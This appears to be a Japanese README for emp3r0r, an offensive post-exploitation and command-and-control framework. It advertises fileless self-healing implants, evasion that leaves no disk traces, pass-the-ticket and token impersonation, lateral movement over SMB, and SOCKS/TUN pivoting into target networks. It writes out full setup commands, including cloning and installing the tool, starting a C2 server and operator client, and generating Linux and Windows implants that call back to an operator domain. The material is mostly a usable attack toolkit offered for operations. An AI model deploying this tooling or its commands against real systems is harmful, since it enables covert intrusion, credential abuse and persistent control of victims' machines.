自己修復型 Gossip Mesh C2、支援付きピア発見、クロスプラットフォーム BOF 実行、スクリプト可能なエージェント
LinuxとWindows向けの自己修復型、メモリのみで動作するC2 — リンクが切れても生き残り、ディスクに一切触れず、Win32 APIをスクリプトで操作するエージェント。
emp3r0rは、ステルス性と耐障害性が必須となるLinuxおよびWindows環境向けに構築されたポストエクスプロイテーションフレームワーク兼C2です。単一のサーバーへの信頼できる接続を前提とするのではなく、エージェントは自己修復型のメッシュを形成し、リンクが切れても動作し続けます。ターゲットにPythonやPowerShellを要求する代わりに、すべてをメモリ内で実行します。そして、単一プラットフォームの手法に限定するのではなく、emp3r0rはWindows BOF、Linuxオブジェクト、Starlarkスクリプトを実行します — すべてファイルレスで、すべてプロセス内で。
すべてのエージェントは独自のスクリプトエンジンを搭載しているため、バイナリをコンパイルしたり配布したりすることなく、新しいポストエクスプロイテーションロジックを投入できます。
これが重要な理由: エージェント機能の記述と拡張が、スクリプトを編集するのと同じくらい簡単になり、ターゲットにインタプリタや新しいバイナリを配置するフットプリントが一切なくなります。
エージェントは、あなたと初めて通信した時点でそのアイデンティティを暗号鍵にバインドします — そしてそのバインドは決して変わりません。
これが重要な理由: セッションハイジャックやエージェントのクローン化はそもそも発生しません。あなたが通信するすべてのエージェントは、あなたが登録したそのエージェントです。
すべてのC2およびピアリンクは、セッション由来の暗号化鍵を伴う一時的なECDH鍵を使用します。
これが重要な理由: 長期鍵が後で侵害されたとしても、すでに通過したトラフィックの復号には使用できません。
エージェントは互いを発見し、ゴシップメッシュを通じてトラフィックを中継するため、1つのリンクや1つのサーバーが消えてもオペレーションは崩壊しません。
これが重要な理由: ネットワークがあなたの代わりにピボットを行います。リンクを切断し、マシンを失い、あるいはC2をブロックしても、エージェントは自力で再ルーティングします。
ファイルはC2経由だけでなく、エージェント間で直接移動します。
これが重要な理由: 配信は高速で、C2チャネルからはほとんど見えません — エグレスが制限された環境に最適です。
エージェントを侵入させることは、それを生かし続けることと同じくらい真剣に扱われます。
これが重要な理由: 小さく、適応性があり、メモリ衛生に優れた初期アクセスにより、そうでなければ手の届かないホストにも侵入できます。
コンパイル済みのCモジュールをどちらのプラットフォームでもプロセス内で実行します:
これが重要な理由: BOFはそのローダー次第です — emp3r0rはLinuxとWindowsの両方で、新しいプロセスも痕跡も残さずにプロセス内でそれらを実行します。
Windowsホストに侵入したら、emp3r0rはツールを一切配置することなく、そのホスト上のユーザーになりきることを可能にします。
--userフラグで使い捨てのnetonlyセッションを作成できます: これらはエージェント自身のアイデンティティを保持し、アウトバウンドアクセスのためだけにターゲットユーザーを借用します — 任意のパスワードが機能し、何も検証されません。--ticketフラグでKerberosチケットをインポートし、完全なパス・ザ・チケットを実現します: ネットワーク上のアイデンティティはチケットのもの(例えばドメイン管理者)になりますが、ローカルのアイデンティティは決して変わりません。--token、--user、--ticketを受け付けるため、アイデンティティの切り替えはフラグ1つです — 単一のコマンドでセッションを作成しチケットをロードすることも含めて。これが重要な理由: エージェントが一切動作していないマシンへのラテラルムーブメント — SMB共有、サービス制御、CIFS — が、ディスク上のツールとしてではなく、借用したユーザーとして認証され、ワークフローの通常の一部になります。
別のインプラントを消費せずにピボット: C2は選択したエージェントを経由して中継するSOCKS5プロキシを実行し、オペレータ側は透過的なTUNデバイスでさらに一歩進められます。
socks_start 1080は、選択したエージェントを通じてトンネルするSOCKS5エンドポイントをC2上に提供します — proxychainsや任意のツールをそこに向ければ、ターゲットネットワークの内部に入れます。tun2socks start --route 10.10.0.0/24は、指定したサブネットのみをそのプロキシ経由でルーティングするTUNデバイスを作成します — それ以外はすべて通常の接続を使い続けます。これが重要な理由: エージェント側のネットワーク全体に透過的に到達できます — DCにcurlし、任意のツールを使用 — エグレスはオペレータのマシンではなく、ターゲットネットワークから来ているように見えます。
これが重要な理由: C2チャネルは通常のトラフィックのように見え、ワイヤー上で軽量に保たれるよう作られています。
これが重要な理由: ディスクさえも敵対的と見なされます — エージェントは発見されうる平文のアーティファクトを一切残しません。
emp3r0rのビルドにはホスト上にDockerまたはPodmanが必要です — ローカルのGoツールチェーンは不要です。
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py
インストーラーは使い捨てコンテナ内ですべてをビルドし、オペレータキットを準備します。便利なフラグ: --lightweight(Linux/Windows amd64のみ、最速)、--targets OS/ARCH,...、--debug、--skip-build。
サーバーを起動します:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py
サーバーが出力したWireGuard資格情報を使用して接続します:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
オペレータコンソール内で:
# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com
# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
# Windows mesh peer over SMB named pipes (local \\.\pipe, cross-host \\host\pipe),
# AES-GCM framed like the other transports
# (requires the Windows SMB stack / logon session to reach the peer)
generate --type windows_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport smb
メッシュノードは異なるトランスポートで動作してもかまいません。各エージェントは自身のリレーがリッスンするトランスポートとポートをアドバタイズし、ダイヤラーは常にピアのアドバタイズされたトランスポートを使用するため、混在したメッシュ(例えばWindows SMBノードとLinux mTLSノードの共存)は、全員がローカルのデフォルトで動作していると仮定するのではなく、使用可能なトランスポートを共有するピアを経由してルーティングします。smbはWindowsペイロードに対してのみ受け付けられます。kcp/mtlsはどこでも動作します。